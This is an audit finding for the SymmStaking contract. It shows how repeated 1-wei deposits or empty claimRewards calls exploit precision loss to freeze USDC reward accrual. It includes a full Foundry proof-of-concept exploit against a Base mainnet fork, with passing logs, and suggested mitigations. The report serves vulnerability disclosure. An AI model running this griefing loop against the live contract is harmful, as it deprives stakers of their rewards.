Brief Tartan Bear

High

# Attacker can halt staking reward by frequently calling core function that later would call `SymmStaking::_updateRewardsStates`

### Summary

The attack can happen by calling `SymmStaking::deposit`, `SymmStaking::withdraw`, `SymmStaking::claimRewards` and `SymmStaking::notifyRewardAmount`.

For this issue, I would explain the attack path using `deposit` and `claimRewards` function that exploited by frequently calling it.
note that this attack can also be used by using `withdraw` and `notifyRewardAmount`, althought if using `withdraw` an attacker needs to deposit first and then later call `withdraw` in 1 wei amount, `notifyRewardAmount` can be used by providing 0 token reward as long as the token reward is whitelisted by admin.

DEPOSIT:
the `deposit` function in `SymmStaking` does not check how much an user wants to stake.
by calling `deposit` multiple times using dust amount like 1 wei of symm token, an attacker can makes the contract state calculating wrong reward per token. this would effectively cause all user reward for the token reward (example: USDC) to halt, provide the attacker can call this function indefinitely and in at no cost (using 1 wei and cheap gas fee in BASE chain) then the protocol reward system can be rendered useless.

CLAIMREWARDS:
There are no requirement for an user to be able to call `claimRewards`, even if they dont have any rewards.
This is problematic because inside the function `claimRewards` there are function `_updateRewardsStates` which is a crucial state changing function that control how much reward per token should have.
Because of no control of how often the function `claimRewards` an attacker can call this per determined interval, then the calculation of reward per token can be deliberately set to delta 0 at given attack duration, rendering the reward system useless.

### Root Cause

when user call `deposit` or `claimRewards` (and the other function mentioned in summary), the `_updateRewardsStates` are called to update the state of the reward.
but because lack of constraint in said function, then the internal function `_updateRewardsStates` can be abused by attacker so it would return incorrect state of reward after specific interval.

notice that in `deposit` function, an user can deposit as minimal as 1 wei because of the check is only checked if the amount is equal to zero:
[SymmStaking.sol#L234-L243](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L234-L243)
```Solidity
	function deposit(uint256 amount, address receiver) external nonReentrant whenNotPaused {
@>		_updateRewardsStates(receiver);

@>		if (amount == 0) revert ZeroAmount();
.
.
.
```

and in `claimRewards` function, there are no check/revert if the user have reward nor stake inside the contract, so this function can be called even an attacker does not have staking balance:
[SymmStaking.sol#L387-L398](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L387-L398)
```Solidity
		for (uint256 i = 0; i < length; ) {
			address token = rewardTokens[i];
			uint256 reward = rewards[user][token];
			if (reward > 0) {
				rewards[user][token] = 0;
				pendingRewards[token] -= reward;
				IERC20(token).safeTransfer(user, reward);
				emit RewardClaimed(user, token, reward);
			}
			unchecked {
				++i;
			}
```

the case are the same in `withdraw` and `notifyRewardAmount` which by utilizing dust amount or zero amount for the latter, an attacker can call `_updateRewardsStates` which would be later be exploited.

with this explained attack path, the root cause of this issue is one: precision loss when calculating `rewardPerToken` if the time after last update is low enough:
[`_updateRewardsStates`](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L406-L423)
```Solidity
	function _updateRewardsStates(address account) internal {
		uint256 length = rewardTokens.length;
		for (uint256 i = 0; i < length; ) {
			address token = rewardTokens[i];
			TokenRewardState storage state = rewardState[token];

@>			state.perTokenStored = rewardPerToken(token);
			state.lastUpdated = lastTimeRewardApplicable(token);

			if (account != address(0)) {
				rewards[account][token] = earned(account, token);
				userRewardPerTokenPaid[account][token] = state.perTokenStored;
			}
			unchecked {
				++i;
			}
		}
	}
```

[SymmStaking.sol#L412](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L412)
```Solidity
	function rewardPerToken(address _rewardsToken) public view returns (uint256) {
		if (totalSupply == 0) {
			return rewardState[_rewardsToken].perTokenStored;
		}
		return
@>			rewardState[_rewardsToken].perTokenStored +
			(((lastTimeRewardApplicable(_rewardsToken) - rewardState[_rewardsToken].lastUpdated) * rewardState[_rewardsToken].rate * 1e18) /
				totalSupply);
	}
```

an attacker can manipulate the time elapsed `lastTimeRewardApplicable(_rewardsToken) - rewardState[_rewardsToken].lastUpdated` by calling the `deposit` or `claimRewards` at given interval so it would be a duration that would cause precision loss on the line `(((lastTimeRewardApplicable(_rewardsToken) - rewardState[_rewardsToken].lastUpdated) * rewardState[_rewardsToken].rate * 1e18) / totalSupply)`

the calculation to make the increment/delta amount of rewardPerToken to 0 is:
```bash
(((lastTimeRewardApplicable(_rewardsToken) - rewardState[_rewardsToken].lastUpdated) * rewardState[_rewardsToken].rate * 1e18) / totalSupply < 1
(((lastTimeRewardApplicable(_rewardsToken) - rewardState[_rewardsToken].lastUpdated) * rewardState[_rewardsToken].rate * 1e18) < totalSupply
```

with this formula, if we know the `rewardState[_rewardsToken].rate` and `totalSupply`, then we can calculate the interval which would cause the increment amount of reward per token to 0, leaving the calculation of `rewardPerToken` function to return the old `rewardState[_rewardsToken].perTokenStored` value before the attack.

notice that this can happen if the reward is using low decimals like USDC.

```bash
lastUpdated = 10_000
total rewards = 100e6 usdc per 1 week
rate = 100e6 / 1 week = 165 (rounding down) 
total staked or totalSupply = 1_000e18 symm

using the formula we find X which is the time where the `deposit` should be called:

(X - lastUpdated) * rate * 1e18 < totalSupply
(X - 10_000) * 165 * 1e18 < 1_000e18
(X - 10_000) * 165 < 1_000
(X - 10_000)  < 1_000 / 165
(X - 10_000)  < 6.06
X < 6.06 + 10_000
X < 10_006.06
```
so if the last updated is at timestamp 10_000, then attacker can halt the rewardPerToken by calling `deposit` at maximum timestamp of 10_006.06, or every 6 (round down) second if the rate and totalSupply is like the above calculation.
this interval can increase if the `totalSupply` increase, meaning the protocol are prone to this attack if there are many symm token staked using the staking function.

if the `totalSupply` or the amount of staked token increase, the interval also increase. example:

```bash
lastUpdated = 10_000
total rewards = 100e6 usdc per 1 week
rate = 100e6 / 1 week = 165 (rounding down) 
total staked or totalSupply = 40_000e18 symm

using the formula we find X which is the time where the `claimRewards` should be called:

(X - lastUpdated) * rate * 1e18 < totalSupply
(X - 10_000) * 165 * 1e18 < 40_000e18
(X - 10_000) * 165 < 40_000
(X - 10_000)  < 40_000 / 165
(X - 10_000)  < 242.42
X < 242.42 + 10_000
X < 10_242.24
```
with 40_000e18 total supply, the interval can be at 242 second max instead of 6 second when the total supply are at 1000e18.

### Internal Pre-conditions

1. admin set the reward to 100e6 usdc per 1 week (default duration)

### External Pre-conditions

no changes

### Attack Path

there are two scenario out of 4 scenario that I would explain (PoC provided)

FOR DEPOSIT PATH:
1. victims stake 1_000e18 symm
2. 100 second passed (not necessary, but for PoC to show distinct reward per token before and after attack)
3. attacker call `deposit` using 1 wei of symm token every 6 seconds
4. reward per token halted every 6 second of this attack
5. (there are victim in the middle of the attack are depositing) victim2 deposit 1_000e18 symm token
6. now attacker can call `deposit` using 1 wei of symm token every 12 seconds (because of the increased `totalSupply` to 2_000e18)
7. reward per token halted every 12 second of this attack

FOR CLAIMREWARDS PATH:
1. 4 victims stake 10_000e18 symm each
2. half week passed, and 4 user claim their first half reward (this is not necessary, this just to make the discrepancy of reward)
3. attacker call `claimRewards` every 242 seconds
4. repeat 100 times
5. victim tries to `claimRewards` but got nothing after 242 x 100 seconds

note: if using `withdraw` path an attacker need to deposit first and hurt their own rewards, if using `notifyRewardAmount` path an attacker can just call it with 0 token amount and only paying gas (it is the same as claimRewards path)

### Impact

1. attacker can effectively stop the reward emission for every user who is using the staking contract and this can happen as long as the attacker doing the attack
2. the interval attack of this zero emission of reward can increase significantly if there are many amount of symm token reflected by `totalSupply` are staked (6 second if totalSupply is 1000e18, double to 12 second if totalSupply is 2000e18, or even goes to 242 seconds if the totalSupply is 40_000e18) see PoC

### PoC
<details>
<summary>PoC</summary>

to add the test file, do the following:
1. in terminal and root directory, use `npm i --save-dev @nomicfoundation/hardhat-foundry`
2. Add `require("@nomicfoundation/hardhat-foundry");` to the top of your hardhat.config.ts file.
3. run `npx hardhat init-foundry` this would generate `foundry.toml` in the directory
4. add the following to bottom of `foundry.toml` with your own infura api key:
```toml
[rpc_endpoints]
base = "https://base-mainnet.infura.io/v3/your_api_key"
```
5. then in the `tests` folder, add the following file and name it `StakingPoC.t.sol`:
```Solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.18;

import "../contracts/staking/SymmStaking.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import "forge-std/Test.sol";

contract SymmStakingTest is Test {
    SymmStaking staking;

    address symm = 0x800822d361335b4d5F352Dac293cA4128b5B605f;
    address usdc = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;

    address owner = makeAddr("owner");
    address victim = makeAddr("victim");
    address victim2 = makeAddr("victim2");
    address victim3 = makeAddr("victim3");
    address victim4 = makeAddr("victim4");
    address attacker = makeAddr("attacker");

    uint256 initialBalance = 1000e18;
    uint256 initialReward = 100e6;
    uint256 startTime = 10_000;
    uint256 duration;

	function setUp() public {
        vm.warp(startTime);
		SymmStaking impl = new SymmStaking();
		TransparentUpgradeableProxy proxy = new TransparentUpgradeableProxy(
			address(impl),
			address(owner),
			abi.encodeWithSelector(impl.initialize.selector, owner, symm)
		);
		staking = SymmStaking(address(proxy));

        duration = staking.DEFAULT_REWARDS_DURATION();
        
        // set initial symm balance for victim and attacker
		deal(symm, victim, initialBalance);
        deal(symm, victim2, initialBalance);
        deal(symm, victim3, initialBalance);
        deal(symm, victim4, initialBalance);
		deal(symm, attacker, initialBalance);

        // set initial usdc balance for owner
        deal(usdc, owner, initialReward);

        // set initial usdc balance for attacker
        deal(usdc, attacker, 10e6);
        
        vm.startPrank(owner);
        // whitelist usdc and symm for reward
        staking.configureRewardToken(usdc, true);
        staking.configureRewardToken(symm, true);
        // approve usdc for staking contract then notifyRewardAmount
        IERC20(usdc).approve(address(staking), initialReward);
        address[] memory tokens = new address[](1);
        tokens[0] = usdc;
        uint256[] memory rewards = new uint256[](1);
        rewards[0] = initialReward;
        staking.notifyRewardAmount(tokens, rewards);
        vm.stopPrank();
	}

    function test_PoC_smallDepositBlockingRewardPerToken() public {
        // check rewardPerToken at the beginning. should be 0
        assertEq(staking.rewardPerToken(usdc), 0);
        // victim deposit token in hope of getting reward
        vm.startPrank(victim);
        IERC20(symm).approve(address(staking), initialBalance);
        staking.deposit(initialBalance, victim);
        vm.stopPrank();
        // add 100 seconds to the time, for victim initial reward
        // also to snapshot the current rewardPerToken before attack
        vm.warp(startTime + 100);

        // initial state before attack
        uint256 initialRewardPerToken = staking.rewardPerToken(usdc);
        uint256 initialVictimEarned = staking.earned(victim, usdc);
        console.log("before attack => rewardPerToken(usdc): ", initialRewardPerToken);
        console.log("victim earned: ", initialVictimEarned);

        // attacker grief by depositing small token many times
        vm.startPrank(attacker);
        IERC20(symm).approve(address(staking), initialBalance);
        uint256 currentTime;
        // for the current total staking amount, 6 second are enough to makes reward per token 0
        for (uint256 i = 0; i < 100; i++) {
            vm.warp(startTime + 100 + i * 6);
            staking.deposit(1, attacker);
            currentTime = startTime + 100 + i * 6;
        }
        vm.stopPrank();

        // another victim deposit in middle of the attack
        vm.startPrank(victim2);
        vm.warp(currentTime);
        IERC20(symm).approve(address(staking), initialBalance);
        staking.deposit(initialBalance, victim2);
        vm.stopPrank();
        
        uint256 currentRewardPerToken = staking.rewardPerToken(usdc);
        console.log("after victim2 deposit => rewardPerToken(usdc): ", currentRewardPerToken);

        vm.startPrank(attacker);
        IERC20(symm).approve(address(staking), initialBalance);
        uint256 finalTime;
        // because of the increased staking amount, it takes longer interval to make reward per token 0, we set attack every 12 seconds
        for (uint256 i = 0; i < 100; i++) {
            vm.warp(currentTime + i * 12);
            staking.deposit(1, attacker);
            finalTime = currentTime + i * 12;
        }
        vm.stopPrank();

        // state after attack
        currentRewardPerToken = staking.rewardPerToken(usdc);
        console.log("after attack => rewardPerToken(usdc): ", currentRewardPerToken);
        console.log("attack duration: ", finalTime - startTime - 100);

        // for victim
        uint256 currentVictimEarned = staking.earned(victim, usdc);
        console.log("victim earned: ", currentVictimEarned);
        
        // for victim2
        uint256 currentVictim2Earned = staking.earned(victim2, usdc);
        console.log("victim2 earned: ", currentVictim2Earned);

        // victim try to claim reward
        uint256 balanceBefore = IERC20(usdc).balanceOf(victim);
        vm.prank(victim);
        staking.claimRewards();
        uint256 balanceAfter = IERC20(usdc).balanceOf(victim);
        // victim should only get the reward before the attack
        // and that is for 100 initial second, which is 0.016000 usdc 
        assertEq(balanceAfter - balanceBefore, currentVictimEarned);

        // victim2 try to claim reward
        balanceBefore = IERC20(usdc).balanceOf(victim2);
        vm.prank(victim2);
        staking.claimRewards();
        balanceAfter = IERC20(usdc).balanceOf(victim2);
        // because victim2 deposit in the middle of the attack, it would have 0 reward
        assertEq(balanceAfter - balanceBefore, 0);
    }

    function test_PoC_callClaimRewardsToHaltAllRewards() public {
        initialBalance = 10_000e18;
        // set initial symm balance for victim
		deal(symm, victim, initialBalance);
        deal(symm, victim2, initialBalance);
        deal(symm, victim3, initialBalance);
        deal(symm, victim4, initialBalance);

        // victims deposit token in hope of getting reward
        vm.startPrank(victim);
        IERC20(symm).approve(address(staking), initialBalance);
        staking.deposit(initialBalance, victim);

        vm.startPrank(victim2);
        IERC20(symm).approve(address(staking), initialBalance);
        staking.deposit(initialBalance, victim2);

        vm.startPrank(victim3);
        IERC20(symm).approve(address(staking), initialBalance);
        staking.deposit(initialBalance, victim3);

        vm.startPrank(victim4);
        IERC20(symm).approve(address(staking), initialBalance);
        staking.deposit(initialBalance, victim4);

        vm.stopPrank();

        // fast forward 50% of the duration
        vm.warp(startTime + duration / 2);
        uint256 rewardPerTokenBefore = staking.rewardPerToken(usdc);
        console.log("rewardPerToken before attack: ", rewardPerTokenBefore);

        // we make all victims claim rewards first for 50% duration
        vm.prank(victim);
        staking.claimRewards();
        uint256 victimRewardBefore = IERC20(usdc).balanceOf(victim);
        vm.prank(victim2);
        staking.claimRewards();
        uint256 victim2RewardBefore = IERC20(usdc).balanceOf(victim2);
        vm.prank(victim3);
        staking.claimRewards();
        uint256 victim3RewardBefore = IERC20(usdc).balanceOf(victim3);
        vm.prank(victim4);
        staking.claimRewards();
        uint256 victim4RewardBefore = IERC20(usdc).balanceOf(victim4);

        // attacker calls claim rewards multiple times at interval to halt all rewards
        // the max delay is 242 to make sure the reward per token is halted
        vm.startPrank(attacker);
        uint256 attackDuration;
        for (uint256 i = 0; i < 100; i++) {
            vm.warp(startTime + duration / 2 + i * 242);
            staking.claimRewards();
            attackDuration = i * 242;
        }
        vm.stopPrank();

        // duration of the attack
        console.log("attack duration in seconds: ", attackDuration);
        // check the reward per token after the attack
        uint256 rewardPerTokenAfter = staking.rewardPerToken(usdc);
        console.log("rewardPerToken after attack: ", rewardPerTokenAfter);

        // we make all victims claim rewards again after the attack
        vm.prank(victim);
        staking.claimRewards();
        uint256 victimRewardAfter = IERC20(usdc).balanceOf(victim);
        vm.prank(victim2);
        staking.claimRewards();
        uint256 victim2RewardAfter = IERC20(usdc).balanceOf(victim2);
        vm.prank(victim3);
        staking.claimRewards();
        uint256 victim3RewardAfter = IERC20(usdc).balanceOf(victim3);
        vm.prank(victim4);
        staking.claimRewards();
        uint256 victim4RewardAfter = IERC20(usdc).balanceOf(victim4);

        // assert that the new reward per token is the same as before the attack
        assertEq(rewardPerTokenBefore, rewardPerTokenAfter);

        // assert that all victims get 0 reward after the attack
        assertEq(victimRewardAfter - victimRewardBefore, 0);
        assertEq(victim2RewardAfter - victim2RewardBefore, 0);
        assertEq(victim3RewardAfter - victim3RewardBefore, 0);
        assertEq(victim4RewardAfter - victim4RewardBefore, 0);
    }

```
6. DEPOSIT PATH: run the test command `forge t --fork-url base --mt test_PoC_smallDepositBlockingRewardPerToken -vv` then the result would shown that the attack successfully stop the reward emission for all victims:
```bash
[PASS] test_PoC_smallDepositBlockingRewardPerToken() (gas: 6302104)
Logs:
  before attack => rewardPerToken(usdc):  16
  victim earned:  16000
  after victim2 deposit => rewardPerToken(usdc):  16
  after attack => rewardPerToken(usdc):  16
  attack duration:  1782
  victim earned:  16000
  victim2 earned:  0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.00s (2.16s CPU time)

Ran 1 test suite in 13.06s (11.00s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

7. CLAIMREWARD PATH: run the command `forge t --fork-url base --mt test_PoC_callClaimRewardsToHaltAllRewards -vv` the test would succeed indicating that after the attack, the rewardPerToken are halted and victims claim 0 amount after the attack duration finished
```bash
[PASS] test_PoC_callClaimRewardsToHaltAllRewards() (gas: 3163294)
Logs:
  rewardPerToken before attack:  1247
  attack duration in seconds:  23958
  rewardPerToken after attack:  1247

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.33s (3.01s CPU time)
```

</details>

### Mitigation

My highest priority recommendation for the mitigation is to implement fixed-point math when calculating the reward per token in [`SymmStaking::rewardPerToken`](https://github.com/sherlock-audit/2025-03-symm-io-stacking/blob/main/token/contracts/staking/SymmStaking.sol#L194-L202)
by using fixed-point math (wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)), the precision loss root cause would be mitigated correctly.

another mitigation approach:
1. enforce a minimum `amount` when calling `deposit` function to stake
2. enforce a minimum `amount` when calling `withdraw` function to unstake
3. enforce a minimum `amount` of new reward added to `notifyRewardAmount` function
4. when an user call `claimRewards` check if the user reward across all token reward is not zero/enforce minimum amount, this can be achieved by tallying the reward amount of each token reward and compare it to the said minimum amount:
```diff
diff --git a/token/contracts/staking/SymmStaking.sol b/token/contracts/staking/SymmStaking.sol
index 1b7057c..1924f02 100644
--- a/token/contracts/staking/SymmStaking.sol
+++ b/token/contracts/staking/SymmStaking.sol
@@ -264,6 +273,19 @@ contract SymmStaking is Initializable, AccessControlEnumerableUpgradeable, Reent
         */
        function claimRewards() external nonReentrant whenNotPaused {
                _updateRewardsStates(msg.sender);
+        uint256 length = rewardTokens.length;
+        uint256 MIN_REWARD = 1e18;
+        address usdc = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
+        uint256 totalRewards;
+        for (uint256 i = 0; i < length; ++i) {
+            address token = rewardTokens[i];
+            uint256 reward = rewards[msg.sender][token];
+            if (token == usdc) {
+                reward = reward * 1e12;
+            }
+            totalRewards += reward;
+        }
+        if (totalRewards < MIN_REWARD) revert ZeroAmount();
                _claimRewardsFor(msg.sender);
        }
```